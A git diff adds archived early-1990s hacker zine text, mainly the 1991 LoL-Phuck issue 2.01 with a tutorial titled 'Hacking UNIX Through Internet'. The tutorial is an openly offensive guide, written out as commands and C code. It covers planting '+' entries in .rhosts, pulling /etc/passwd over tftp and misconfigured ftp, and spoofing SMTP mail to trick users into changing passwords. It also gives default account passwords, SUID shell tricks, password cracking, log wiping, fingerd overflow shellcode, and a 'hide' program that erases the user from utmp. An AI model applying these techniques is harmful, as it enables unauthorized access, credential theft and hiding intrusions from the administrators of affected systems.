humor is what you want to call it..). I am just sorry this file +couldn't be more complete.. it is only from 3 boards and it's very raw... +Well later dude.. and don't bend over to pick up any soap (unless of course +you like dry anal sex...) Aloha dude from California... + + - Captain Swashbuckler + LoL-Phuck President! + + + Well I don't know how many of you knew Damaged Sectorz but he was +a great guy. A little sick but he was kewl. He was like one of my BEST +friends. I knew him for about 2 months before they got him. And believe +me, when I heard what had happened I was pissed. I talked to him the next +day for 30-60 seconds. It was hard to count. He said he was being busted +for TymNet, Hacking a government system and numerous other things. He then +had to hang up. I haven't talked to him again and I am waiting in antici- +pation. I am just sad he is gone. + + - MCi SPRiNtER + + + + +ÜÜÛÛÛÛÛÛÛÛÛÛÛÜÜ +ÜÜÛÛÛÛßß ÜÜ ßÛÛÛÛÜÜ +ÜÛÛÛÛßÜÛÛÛÛÜ ßßÛÛÛÜ +ÜÛÛÛÛßÛÛÛÛÛÛÛÛßÛÛÛÜ +ÜÛÛÛßÜÛÛÛÛßßÛÛÛÛÜßÛÛÛÜ +ÛÛÛÛßÛÛÛÛß ßÛÛÛÛßÛÛÜ +ÞÛÛÛÝÜÛÛÛÛßßÛÛÛÛÜÛÛÛÜ +ÛÛÛÛÛÛÛÛßßÛÛÛÛÛÛÛ Û +ÞÛÛÛÜÛÛÛÛßßÛÛÛÛÞÛÛÝÜÛß +ÜÜÜÜÜÜÜÜÜÜÜÜÛÛÛÛÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÜÛß +ÛßßßÜÜÜßßßßÜÛÛÛÛßßßßßßßßßßßßßßÜÜÜÜßßßßßßÜÜÜß +ÜÛßÛÛÛ ÛÛÛÛßßÛÛÛÛÛÛÛ +ßßÛÛÛ ÜÛÛÛÛßßÛÛÛÛÜ ÛÛÛ +ÛÛÛÛÛÛÛßßÛÛÛÛ ÛÛÛÛ +ßÜßßßßßÛÛÛÛÛÛÛß +ßÛÛÛÜÜÜÜÛÛÛÛ +ßÛÛÛÛÜÜÜÜÜÛÛÛÛÛßÛÛÛÛÜ +ßßßÛÛÛÛÛÛÛÛÛÛÛÛßß ßÛÛÛÛ +ßßßß + + "Anarchy is the base of todays society, without it, we would be in chaos" +- Anarchist +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ + (œ)egions (“) (œ)ucifer - (P)hone (H)ackers (U)nited (C)rash (K)ill +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ +Call these œ.“.œ-Phuck support boards for information or application +inquiries: + +West Coast Technologies, Inc. 213/274+1333 œ.“.œ-Phuck World HQ1 AftrShk Beta +The Magical Mystery Board [TEMP--DOWN] œ.“.œ-Phuck World HQ2 THG Site +Entropy 415/614+2071 œ.“.œ-Phuck Dist Site DHS Site +CyberNet 504-1 504/272/1710 œ.“.œ-Phuck Dist Site GCA Site +Interpol II +46-8-29-6716 œ.“.œ-Phuck Sweden SHA HQ +ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ +œegions “f œucifer-Phuck High Office Staff Member + +Prezident of [œ.“.œ] : Captain Swashbuckler +Prezident of [Phuck] : Tripin Face +Out of US Representatives : Mr Big -=- Sweden + +ÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍÍ + This text file is (C)Copyright 1990,91 œ.“.œ-Phuck, Inc. + œ.“.œ-Phuck is a registered trademark of WCT, All rights reserved + Any modifications to this text phile is a violation of copyright. + West Coast Technologies, Inc. 213/274+1333 + The Magical Mystery Board [>TEMPDOWN<] +ÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄÄ diff --git a/textfiles.com/magazines/LOL/lol-20.phk b/textfiles.com/magazines/LOL/lol-20.phk new file mode 100644 index 00000000..ed8258df --- /dev/null +++ b/textfiles.com/magazines/LOL/lol-20.phk @@ -0,0 +1,956 @@ +============================================================================== +Volume 2, Issue 01 ---------------------------------- Thursday August 29, 1991 +============================================================================== + Legions of Lucifer - Phone Hackers United to Crash & Kill < LoL-Phuck > + LoL-Phuck, Inc. / Issue Number 2.01 08.29.1991 + (C)Copr 1990,91 Cypher Productions - All rights reserved. +============================================================================== + Legions of Lucifer founded on January 20, 1990 by: Digitone Cypher + PHUCK, INC. Founded in 1986 by: Tripin Face (aka Cobra Commander) +------------------------------------------------------------------------------ +Legions of Lucifer merged with PHUCK, INC on January 15, 1991 at 11:41pm PST! +(That is the same day the Persian Gulf War started [Operation Desert Storm]) +We are now: LoL-Phuck +------------------------------------------------------------------------------ +Note: Any and all information found in this production is not to be used or +intended to be released to due any harm to anyone. This is mearly for 100% +informational purposes only and neither writers, staff members, submitters nor +anyone else that has anything to do with this released issue should be held +resonsible for the deeds and misgivings that intentional may readers preform. +------------------------------------------------------------------------------ + All text file submissions should go to: + West Coast Technologies, Inc. @ +1-213-274-1333 + (Use the guest account; User Name: GUEST Password: GUEST) +------------------------------------------------------------------------------ +-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-= +------------------------------------------------------------------------------ +EDITORS/PRESIDENTS NOTE: + Okay basically, I am proud to say that LoL-Phuck is back from the "DEAD" + to bring you finally good quality reading material. I am going to tell + you guys right now, that we will not be producing that many text files, + we will just release when we feel like it, and not on a monthly kind + of basis. We are infact looking for writers, so if you do want to apply, + you can find it in this text file where to. This certain file, is a joint + release between SHA (a Swedish Hacking Group) and LoL-Phuck, so I hope + you all like it... I would also, like to note that starting from this + text file, LoL-Phuck will be totally different, this is the NEW and very + IMPROVED Legions of Lucifer-Phuck. Watch for the hot text files and + releases we will be producing in the months to come.. + + Starting on November 2, 1991 "West Coast Technologies, Inc" will be changing + area codes from 213 to 310. There will be a 6-Month period from November 2, + 1991 to May 2, 1992, when both the new and the old ways of completing the + calls to this number (274-1333) will work. Beginning May 2, 1992, calls + dialed to the incorrect area code (213) will not be completed. You will + reach a recording explaining the new dialing procedures and you will need to + re-dial using the correct area code (310). + + ...Also, as you all know by now, there is a text file called "LOL-21.TXT" + which was supposedly written by me, that is like a "Sexual Biography", I + am going to state for the record that I *DID NOT* write that trash. Now, + The next official issue will be "LOL-022.TXT" since #21 has been taken by + the bogus text file, and we wouldn't want them to get confused now would + we? This kinda of thing has happened before, I believe it was Issue #9, + some jokers did the same prank, so I know how to handle it. Anyways, I + would like to thank the rest of you for all your support. + + Digitone Cypher + LoL-Phuck President + 08-29-91 + + I may be contacted at the following internet addresses: + + UUCP: {hplabs!hp-sdd ucsd nosc}!crash!pnet01!dcypher + ARPA: crash!pnet01!dcypher@nosc.mil + INET: dcypher@pnet01.cts.com + + +############################################################################## +----------------------[ Hacking UNIX Through Internet! ]---------------------- +############################################################################## +Written by: Mr Big Release Date: Thursday August 29, 1991 +Editied by: Digitone Cypher Release Numb: 20th Issue +------------------------------------------------------------------------------ + + + + This file is released in a joint venture with Swedish Hackers Association + in Sweden. + + Note: S.H.A. are not members of LoL-Phuck, nor are LoL-Phuck members + of S.H.A., both groups are separate to each other, this is a only + a exchange in knowledge and assistance. + + Legions of Lucifer-Phuck is always looking for submissions of text files + from small groups and from solo writers for worldwide distribution. + We are also look for Distribution Sites and full/half-time writers. I + can be contacted at the LoL-Phuck HQ @ 213/274+1333... thank you. + + + + ---------------- + - Introduction - + ---------------- + + I decided to write this file since I feel that there are no complete + files about hacking unix systems. Many files only cover some small part + in the art of hacking unix, and they don't cover hacking through + Internet where aprox. 80% of all hacking takes place. I will not state + that this file isn't complete either, since I have, on purpose, left out + many things, i.e. bugs in programs that might be exploited, as the Internet + Worm did. The reason I did this is because they will not be up-to-date for + very long, even though some sites don't install all patches that are + released. A good source for all these bugs are comp.unix.wizard, + comp.unix.source and other newsgroups. + + This file isn't supposed to be for the beginner, so not everything in this + file is explained in detail. YOU should have common knowledge of unix and + Internet. + + + /Mr Big - S.H.A. + + + ---------------------------[ Internet Section ]----------------------------- + + + ------------ + - Internet - + ------------ + + In the beginning a US Goverment network existed nationwide. When it + grew larger the network where split into two networks, one research- + (Arpanet) and one millitary network (Milnet). Later thousands of other + networks worldwide where also connected and then Internet was born. + + Internet is a good way of hacking unix systems. There are more than + ten thousand computer systems connected to Internet worldwide, running + diffrent OS's, but Unix's are the major one used. You are also able to reach + other networks or domains through Internet as ARPA network, NASA or the NSA + network among others since they are part of the Internet. + + Approxitly 80% of all hacking take part on Internet. So be aware of + that goverment agencies are watching known hacking sites and other sources + for hackers. + + There are also many outdials connected to Internet worldwide that can + be used for free calls, but this file isn't about that. Maybe I will compile + my list of outdials some day and release it, but that is in the future. + + How do I get connected to Internet? Well, find you local dialup or go + through some University, since most of them are connected to Internet. + + You can use the MIT Dialup if you don't have anything else: + + MIT LCS Network Dialup (617) 258-7111 + + (I'm sorry that I can't supply you with a whole list of dialups, but + since I'm from Sweden, I don't have the needs for US Dialups.) + + + WARNING: Even if Internet seems to be untraceable, they can easily find + out where you are hacking from. It's a bit harder if you + use gateways before hacking, and don't use your own account + unless you want to be in deep shit! + + + + ------- + - IRC - + ------- + + Internet Relay Chat or IRC for short, is a worldwide multi-chat system + where users can exchange and discuss stuff real-time with the rest of the + world. IRC has many channels you can use - both public, private and hidden. + There are many users using this and you can easily get help and information + this way, since many people out there knows what they are doing. + + Be aware that goverment agencies, like NCSA, might be tapping the public + forums and users using them, atleast I would... + + Use this IRC server if you don't have anything else: + + bradenville.andrew.cmu.edu (128.2.54.2) + + + + ------------ + - Outdials - + ------------ + + There are also outdials on Internet that you can use. I will not include + a list of those, since I know if they are abused, they will go down. You + have to do your own search for them. + + + + ---------- + - Telnet - + ---------- + + Telnet is more or less equal to Internet. With Telnet you can access other + systems on the Internet by entering the IP number or the same address of + the computer. + + This is the most common way of connecting to other systems, even if there + are other ways too... i.e. rlogin among others... + + #telnet [HOST] [PORT] + + Where HOST is the IP address or the name of the computer, and PORT is the + port to connect to at the remote site. + + The port number range from 0-9999. Ports 0-255 are standard ports and well + defined in unix. Ports 256-1023 are well known ports. Ports 1024-4999 are + user defined ports. Ports from 5000 and upward are nondefined ports. + + Here are a small list of common port numbers and what they do: + + 21 FTP _ File Transfer Protocoll + 25 SMTP - Or Simple Mail Transfer Protocol. + 79 Finger - Reports information of users on remote system. + + + + ------- + - Ftp - + ------- + + File Transfer Protocol or FTP for short is a powerful way to send and + receive files between Internet connected hosts. + + Many sites have set up their systems for anonymous ftp. They have done + this since they want everyone to be able to get files and information + without having a password. You should respect the ftp hours that are + common, i.e. do NOT ftp at local business times, since these systems + are used in companys, and work most of the time, and if you use ftp during + these hours, they might close the opportunity for us to use ftp, and I + would hate it if that happend. + + #ftp [HOST] + + Where HOST are the IP address or the name of the computer. + + + + ---------- + - Usenet - + ---------- + + Some people say that Usenet is the world larges BBS around, and in some + sense they are right. Usenet consists of over 1000 forums for various + topics, with hundreds of thosands of users worldwide using it. + + Many good forums for Unix information exists, i.e. + + misc.security + comp.unix.vizard + comp.unix.source + comp.security.announce + alt.security + + To use Usenet news just type: + + #rn <- This command might vary from + system to system. + + + + -------- + - CERT - + -------- + + CERT or Computer Emergency Respons Team is an organization which main + purpose are to help and prevent unautorized access to computer systems. + They publish bug fixes for security holes in diffrent OS's, mainly in + comp.security.announce. They also have their own site and support for + anonymous ftp so you can directly ftp bug fixes from them or tools that + helps system administrators to check the security on their own systems. + + One good system administration tool for checking the security on your own + system are COPS, even if it dosen't detect all bugs that exists. + + System Managers: If you think you have a compromised system, I suggest that + you contact CERT for assistance. + + The Internet address for CERT is: + + cert.sei.cmu.edu (128.237.253.5) + + + + ------------------------------[ Unix Section ]------------------------------- + + + -------------------- + - Attacking target - + -------------------- + + Well... first we need an account on a remote system.. How do we get it? + There are no easy ways for this, unless your system is trusted. + + It isn't easy even if your system is trusted, but it is easier :-) + + + - .rhosts - + + Check out your own and other users .rhosts files. + These files contains those machines and users that are trusted to log into + the account, in which home group it resist, without any password. + + Note: You must use rlogin to use this feature. + + #cat .rhosts + albert guest + gnu.ai.mit.edu + + # + + The plus (+) sign indicates that all users on gnu.ai.mit.edu are trusted to + use this account without a password, and hopefully this user can log in on + the same account on gnu.ai.mit.edu whithout a password. + + Note: You can set "+ +" to allow anyone anywhere to use the account, + but be aware of that if the user dosen't have to enter his own + password, he WILL contact the system administrators at his site. + + + To scan all users .rhosts files use the following: + + #find / -name .rhosts -exec /bin/cat {} ";" + + If you stumble in on an account, then I suggest you add one entry to + the .rhosts file to include the hostaddress of a system that allows guest + users, and a plus sign (+). By doing this you don't have to create a shell + with suid that can be discovered and you don't even have to hack another + account to use the one you stumbled on. + + Remeber that the user or root must own the .rhosts file on many newer + systems, i.e. Sun OS 4.x. + + + + - /etc/hosts.equiv - + + /etc/hosts.equiv contains system wide trusted remote sites. + + #cat /etc/hosts.equiv + albert + +@gnu.ai.mit.edu + + + # + + If /etc/hosts.equiv contains a plus sign (+) then all hosts are trusted. + Many Sun system are deliverd with /etc/hosts.equiv set up this way. + + + - finger - + + You can also always try to get some accounts on a remote site by using + "finger @remotesite" and then guessing passwords... + + You can even try "finger user@remotesite", where user is a possible user + on the remote site, i.e. guest to see if they have a guest account. + + + - tftp - + + Some systems running tftp - Trivial FTP, have a bug allowing you + to copy files that contain slashes, normaly tftp impose the security + that the file must be world readable, but since /etc/passwd are + world readable, try this: + + #tftp remotesite + tftp> get /etc/passwd <- Try snatching /etc/passwd + Recieved 30216 bytes in 32 seconds. + tftp> quit + # + + Note: Even if you are not physicaly are logged in at the remote host, + this action is stored in the log files on the remote system. + + + - ftp - + + Some systems running anonymous ftp and are not correctly setup might + allow any user to move above their restricted (root) directory, and + then access all files on the system. + + #ftp remotesite + Connected to remotesite. + 220 remotesite FTP server (Version 5.59 Mon Oct 29 15:33:08 EET 1990) ready. + Name (remotesite:root): anonymous <- Login as anonymous + 331 Guest login ok, send your login name as password. + Password: <- Anything is ok + 230- Guest login ok, access restrictions apply. + ftp> cdup <- The magic one! + 250 CWD command successful. + ftp> get /etc/passwd /dev/tty <- Retreive /etc/passwd + 200 PORT command successful. + 150 Opening ASCII mode data connection for passwd (56 bytes). + root:sEQ5aTPgP4bSc:0:0:Super-User:/:/bin/sh + +::0:0::: + 226 Transfer complete. + local: /dev/tty remote: passwd + 56 bytes received in 7e-06 seconds (1.1e+04 Kbytes/s) + ftp> quit + 221 Goodbye. + # + + + - sendmail - + + The Internet Worm exploited a debug mode in the original sendmail to + coax sendmail into creating and executing a program that copied the + rest of the Internet worm over to the target host. + + Note: Almost every system have been patched against this. + + #telnet remotesite 25 + Escape character is '^]'. + 220 s350. Sendmail 4-0/SMI-4-0 ready at Wed, 10 Jan 91 15:35:01 + debug <- Try debug command + 200 Debug set + quit + Connection closed by foreign host + # + + + - smtp - + + By connection to the smtp daemon on the remote site, you are able to send + mail under any user identity, to any user on any system. + + If we want to try to fool a user on a system to change his password, + (not likely he will be fooled), but we can easily do this, + i.e. We want to send mail from root@tycho.ncsc.mil to john@gnu.mit.edu + + #telnet tycho.ncsc.mil 25 + Connected to tycho.ncsc.mil. + Escape character is '^]'. + 220 tycho.ncsc.mil. Sendmail 4-0/SMI-4-0 ready at Wed, 10 Jan 91 15:35:01 + rcpt to: john@gnu.mit.edu <- Receiving user + 250 john... Recipient ok + mail from: root@tycho.ncsc.mil <- Fake user + 250 example... Sender ok + data <- Instruct SMTP to receive data + 354 Enter mail, end with "." on a line by itself + + We are testing new equipment and you are instructed to change your password + to john as soon as you receive this message. + + root@tycho.ncsc.mil + . <- End mail + 250 Mail accepted + quit <- Now disconnect from system + Connection closed. + # + + + + ------------------- + - Raise you privs - + ------------------- + + Many users talk about getting root access... It's nice but not necessary + to have. The Internet worm didn't exploit root privs if it had it and + it managed to hit many remote sites anyway. + + If you need root or not depends on what you want to do with the system. + + + - System files - + + Check out if you have read/write access to the following files: + + #ls -l /dev/mem + crwxrw-rw- root /dev/mem <- General physical memory + + #strings - /dev/mem <- Use this to get strings + from memory to use + + + #ls -l /dev/kmem + crwxrw-rw- root /dev/kmem <- Kernal memory + + Kernal memory contains among other things.. psid table - Process ID table. + I will not support any C program allowing changes to pid's in kernal memory + since if someone doesn't know how to use it, then the whole system will + crash! and we don't support that kind of action. + + + #ls -l /etc/inittab <- Sys V startup file + #ls -l /etc/rc* <- BSD startup file + -rw-rw-rw- root /etc/inittab + -rw-rw-rw- root /etc/rc <- Standard unix commands + -rw-rw-rw- root /etc/rc.host <- running with root privs + -rw-rw-rw- root /etc/rc.local <- #ex /etc/rc + + + #ls -l /etc/inetd.conf <- Sys V demon configuration file + #ls -l /usr/etc/inetd.conf <- BSD demon configuration file + -rw-rw-rw- root /etc/inetd.conf <- After editing use #kill -1 initd + -rw-rw-rw- root /usr/etc/inetd.conf <- After editing use #kill -1 initd + + + #ls -l /etc/utmp <- Contains only who information + -rw-rw-rw- root /etc/utmp <- Used to hide your session + or to change your usernamne + Check out the included source + (hide.c) that does this. + You can even read other users mail. + + + #ls -l /usr/spool/cron/crontabs <- Sys V cron shell scripts + #ls -l /usr/spool/cron <- Older unix systems + -rw-rw-rw- root /usr/spool/cron/crontabs + -rw-rw-rw- root /etc/spool/cron + + Check also local written system scripts that runs as root and other + important system files. + + + - System directorys - + + Check to see if you have write privs to any important system directory. + i.e. + /etc + /bin + /usr/etc + /usr/bin + /usr/lib + ... + + To find writeable directories use: + #find / -type d -perm -2 -print + + If you have write priv's to a directory but not to a file in the directory + you can still copy the file over to another directory, modify it and + copy it back. + + #cp /home/admin/.rhosts /home/mydir/newrhosts + #ex /home/mydir/newrhosts + #rm /home/admin/.rhosts + #mv /home/mydir/newrhosts /home/admin/.rhosts + + or + + #cat /bin/sh > /home/admin/shell + + To find writeable files use: + #find / -type f -perm -2 -file {} ";" + + Try modifying startup files for users, + i.e. + .login + .cshrc + .profile + ... + + Note: The System Administrators might check to see if these files have + been changed and then they check them to see if there was a backdoor + installed or not. + + + - UID files - + + I neat way of gaining better access is to search for files that + have the UID bit set and then if they are writeable, copy /bin/sh over + to the file to gain the privileges of the owner of the file. + + #find / -perm -4000 -exec /bin/ls -lad {} ";" + + + - mbox - + + Reading other peoples mailboxs might give you a clue to their password. + They might even have posted it to a friend on the system. + + Note: Reading other peoples electronic mail is a serious crime. + + #find / -name mbox -exec /bin/cat {} ";" + + + - fingerd - + + The Internet worm exploitet a bug in the old fingerd program. The program + used an obsolete C function called gets(). gets() copies input into + a string, but doesn't count the number of characters copied. The old + fingerd declaired a 512-byte buffer as an automatic variable, which placed + this buffer on the stack. The Internet worm sent down 536 characters, + overflowing the buffer, adding some code, and modified the return address, + so that fingerd executed a Bourne shell instead of returning. This flaw + was used only for VAX running BSD unix. + + VAX assembly-language code used: + + nop 400 nop's + ... + pushl $68732f store '/sh[null]' on stack + pushl $6e69622f store '/bin' on stack + movl sp,r10 save stack pointer in r10 + pushl $0 store 0 on stack (arg 3) + pushl $0 store 0 on stack (arg 2) + pushl r10 store string adress on stack (arg 1) + pushl $3 store argument count on stack + movl sp,ap set argument pointer to stack + chmk $3b system call to execve + + + + ----------------------- + - Brute force hacking - + ------------------------ + + You can allways get a copy of /etc/passwd and then run it with a + unix matcher guessing passwords. There are many programs around, + so I think I'm wasting my time if I include one. This is the standard way + of getting other accounts.. but it's hard to match root account password. + If you wan't root access you have to use some other technique, + but if you are satisfied with some user accounts, this is the best way. + + Be adviced that many new systems have passwords from 6-8 characters with + a minimum of one non-alphabetical character, or they are running C2 + standard with shadow /etc/passwd, i.e. you can only see account names + in /etc/passwd and not the encrypted password, i.e. + + #cat /etc/passwd <- Featuring C2 standard + + root:*:0:0:Super-User:/:/bin/sh <- You can see that they + guest:*:3169:30:Guest User:/home/guest:/bin/rsh <- Have shadowing passwd + +::0:0::: file since the password + field contains '*'. + + + You can always try to get accounts without password: + + #grep :: /etc/passwd + + Note: Many system administrators will have their eyes open for users who + use A LOT of cpu time... so I suggest that you get yourself a password + cracker for your own computer at home, and run your matching sessions + there, even if it's slower. + + + + ---------- + - Hiding - + ---------- + + Since hacking is illegal you might want to hide from the System Manager + at the site you are attacking. Please note that they often pay special + attention to users using a big per cent of the cpu time (like when matching + passwords). Also try to keep the number of files in your directory low, + or atleast try to only store smaller files, anything to not draw + attention to you. + + Change users frequently so if the system managers notice you they hopefully + do not get any evidence against you. + + Check system files to see if they have been patch audit your access to them. + + + + - /etc/utmp - + + If you have write permissions to /etc/utmp you can easily remove + yourself to show up on "who" listings, or even change your username. + + Check out the included C source for this, Hide.c. + + You can also read other users mail if you can alter /etc/utmp. + + + - getty - + + Try running /etc/getty or /usr/etc/getty and login again. + + With this way you will hide from where you are calling from, i.e. your host + address won't show up on "who" listnings. + + + - running programs - + + If you use any program that you shouldn't i.e. running passsword + matching programs, then I suggest that you first rename the program to some + appropiate, i.e. + + #mv matcher emacs + #mv passwd user + #mv password magazine + + Then use the program: + + #emacs user magazine + + Or you simply change your source code to always use one file as the passwd + file and another one for the dictionary. + + + - /usr/spool/mail/ - + + There are times when you should edit users mail. If you are editing a file + and then kill the process, it will post mail to your user stating that + the process was aborted and that you can recover your file with a command. + If the real user sees this, he might talk to the system administrators + about it, and then they will start to investigate the account without + your knowledge, and some day.... shit happends! + + + - /etc/wtmp - + + If you have root access you might want to remove your trails from the + system log file, /etc/wtmp, so they won't notice that you are fooling + around with their system. + + + + ---------- + - Modems - + ---------- + + Many people hack just to lower their phonebills. Many unix systems has + outgoing modem lines. You can use them if you have the right privileges. + + Try using the command cu - Call Unix: + + #cu 3143818460 <- Yeah! This number works... + + + + --------------------- + - Standard accounts - + --------------------- + + There are many standard accounts you can try hacking and some common too. + Even if the system administrators are more aware of these holes, they still + exists, and may be worth trying. Use the included list of standard and + successful accounts. + + Login: Password: Login: Password: + + adm adm admin admin + altos altos batch batch + bin bin daemon daemon + date date demo demo + field service games games + general general guest guest + help help ingres ingres + learn learn lp lp + lpadmin lpadmin nuucp nuucp + pub pub public public + rje rje root root + standard standard student student + sync sync sys sys + sysadm sysadm test test + time time tty tty + unix unix user user + uucp uucp uuhost uuhost + who who + + + + ------------------- + - Finding targets - + ------------------- + + This is the hard part if you don't know so much about Internet. + I will not go further into this, because if everyone starts to use + the techniques I have, it will be abused and then we might not have many + systems that will be reachable through Internet. And we don't want + that to happen, so you have to figure this out for yourself. If this + sounds a bit on the selfish side, I truely regret it, but its for your + own good. + + + + --------------------- + - Crashing a system - + --------------------- + + If you do crash a system on purpose, I hope you get caught and that + you have to rot in prison for a long long time... + + Even if you stumble in on a root account and think that they are + lamers who are in charge of the system, you NEVER trash the system + on purpose! + + Never crash a system on purpose! + Never delete files that you haven't created! + Never remove personal mail to people on the system! + + + + ----------------------- + - Voice of the Author - + ----------------------- + + I have been working with this for some time now. Even if I don't really + feel that this is complete, I have desided to release it as it is, + (then I can write a follow up to this... ), and hopefully you + will enjoy it anyway. + + I will release some Internet/Unix hacking utilities in the near future, + including backdoors and other nice programs you might need. + + If you need to contact me or S.H.A. you can send mail to me on the + following networks: + + FidoNet : 2:201/610 username mrbig + Internet : mrbig@DARKSIDE.COM + + +############################################################################# + SOURCE CODE SOURCE CODE SOURCE CODE SOURCE CODE SOURCE CODE +############################################################################# + + -------- + - Hide - + -------- + + + Speacial thanx to Nimh of Stealth Hackers who wrote this program and for + letting me include it in this release. Thanx! + + Hide will let you remove yourself from /etc/utmp or change the information + for you in /etc/utmp, i.e. username, host address or tty. + + Note: /etc/utmp must be writeable by world. + + <----CUT HERE-------CUT HERE-------CUT HERE-------CUT HERE------CUT HERE----> + + +#include +#include +#include +#include + +#define UTMPFILE "/etc/utmp" + + FILE *utmpfile; + char *utmp_tmp[10240]; + +main (argc, argv) + int argc; + char *argv[]; +{ + + struct utmp *user_slot; + struct passwd *pwd; + char line[10], name[10], host[20]; + int index; + + printf ("Welcome to HIDE ! FORMAT: hide [-i]\n\n"); + utmpfile = fopen (UTMPFILE, "r+"); + if (utmpfile == NULL) + { + printf ("ERROR while opening utmp file... exiting...\n"); + exit (); + } + index = ttyslot(); /* Get this users utmp index */ + index *= sizeof(struct utmp); /* 36 */ + fseek(utmpfile, index, 0); +/**** Get real UID ****/ + pwd = getpwuid (getuid()); + if (pwd == NULL) + printf ("Who the hell are you???"); + else + { + printf ("Real user identity:\n"); + printf ("NAME %s\n", pwd->pw_name); + printf (" UID %d\n", pwd->pw_uid); + printf (" GID %d\n\n", pwd->pw_gid); + } +/**** If ARG1 = "-i" then disappear from utmp ****/ + if ( (argc>1) && (!strcmp(argv[1], "-i")) ) + { + index+=8; /* Rel PNT name */ + fseek(utmpfile, index, 0); + fwrite ("\000", 8, 1, utmpfile); /* NO NAME */ + fwrite ("\000", 8, 1, utmpfile); /* NO HOST */ + fclose(utmpfile); + printf ("Removed from utmp\n"); + exit(); + } +/**** Change utmp data ****/ + printf ("Enter new data or return for default:\n"); + fseek(utmpfile, index, 0); /* Reset file PNT */ + fread(line, 8, 1, utmpfile); line[8]=NULL; + fread(name, 8, 1, utmpfile); name[8]=NULL; + fread(host, 16, 1, utmpfile); host[16]=NULL; + fseek(utmpfile, index, 0); /* Reset file PNT */ + dinput (" TTY [%s]%s", line, 8); + dinput ("NAME [%s]%s", name, 8); + dinput ("HOST [%s]%s", host, 16); + fclose(utmpfile); +} + +/* Data input */ +dinput (prompt, string, size) + char *prompt; + char *string; + int size; +{ + char input[80]; + char *stat; + char space[] = " "; + + space[20-strlen(string)] = '\000'; + printf (prompt, string, space); + stat = gets (input); + if (strlen(input) > 0) + fwrite (input, size, 1, utmpfile); + else + fseek (utmpfile, size, 1); +} + + <----CUT HERE-------CUT HERE-------CUT HERE-------CUT HERE------CUT HERE----> + + +============================================================================== +############################################################################## + ## ####### ## ###### ## ## ## ## ###### ## ## + ## ## ## ## #### ## ## ####### ## ## ## ## ## + ## ## ## ## ###### ## ## ## ## ## ##### + ###### ####### ####### ## ## ## ####### ####### ## ## +############################################################################## +------------------------------------------------------------------------------ + (L)egions (o) (L)ucifer - (P)hone (H)ackers (U)nited (C)rash (K)ill +------------------------------------------------------------------------------ +Call these LoL-Phuck support boards for information or application +inquiries: + +UNITED STATES: +The Disconnected System 602/997+9918 Arizona NSA Dist Site +West Coast Technologies, Inc. 213/274+1333 California AfterShock Beta +The Magical Mystery Board 203/TMP+DOWN Connecticut THG Dist Site +Blitzkrieg BBS 502/499+8933 Kentucky TAP Magazine HQ +Blitzkrieg BBS 502/491+5198 Kentucky TAP Magazine HQ +Free Speech BBS 618/457+3365 Illinois PHRACK Classic HQ +Gonzo's Gabanza 513/890+0655 Ohio CHUD Dite Site + +EUROPE/OUTSIDE CONTINENTAL NORTH AMERICA: +Interpol II +46-8-PR-IVAT Sweden SHA HQ +============================================================================== +Legions of Lucifer-Phuck High Office Staff Member + +Prezident of [L.o.L] : Digitone Cypher +Prezident of [Phuck] : Tripin Face (aka Cobra Commander) +Out of US Representatives : Mr Big -=- Sweden + +============================================================================== + Legions of Lucifer - Phone Hackers United to Crash & Kill < LoL-Phuck > + LoL-Phuck, Inc. / Issue Number 2.01 08.29.1991 Complete + (C)Copr 1990,91 Cypher Productions - All rights reserved. +------------------------------------------------------------------------------ + All text file submissions should go to: + West Coast Technologies, Inc. @ +1-213-274-1333 + (Use the guest account; User Name: GUEST Password: GUEST) +------------------------------------------------------------------------------ +______________________________________________________________________________ +============================================================================== +============================================================================== + - Digitone Cypher (Main Editor/Layout/President) +============================================================================== +456835454/021491-0202 + +Downloaded From P-80 International Information Systems 304-744-2253 12yrs+ diff --git a/textfiles.com/magazines/LOUDLYRIX.1 b/textfiles.com/magazines/LOUDLYRIX.1 new file mode 100644 index 00000000..d3254ab5 --- /dev/null +++ b/textfiles.com/magazines/LOUDLYRIX.1 @@ -0,0 +1,24 @@ +
+MAYBE 0
+TRASH 0
+loud.lyrix-01 16211
Loud Lyrix Issue #1 (March 22, 1994) +loud.lyrix-02 19413
Loud Lyrix Issue #2 (March 29, 1994) +loud.lyrix-03 18834
Loud Lyrix Issue #3 (April 5, 1994) +loud.lyrix-04 22572
Loud Lyrix Issue #4 (April 12, 1994) +loud.lyrix-05 21923
Loud Lyrix Issue #5 (April 19, 1994) +loud.lyrix-06 22359
Loud Lyrix Issue #6 (April 26, 1994) +loud.lyrix-07 18973
Loud Lyrix Issue #7 (May 3, 1994) +loud.lyrix-08 26836
Loud Lyrix Issue #8 (May 10, 1994) +loud.lyrix-09 25512
Loud Lyrix Issue #9 (May 17, 1994) +loud.lyrix-10 55749
Loud Lyrix Issue #10 (May 24, 1994) +loud.lyrix-11 20549
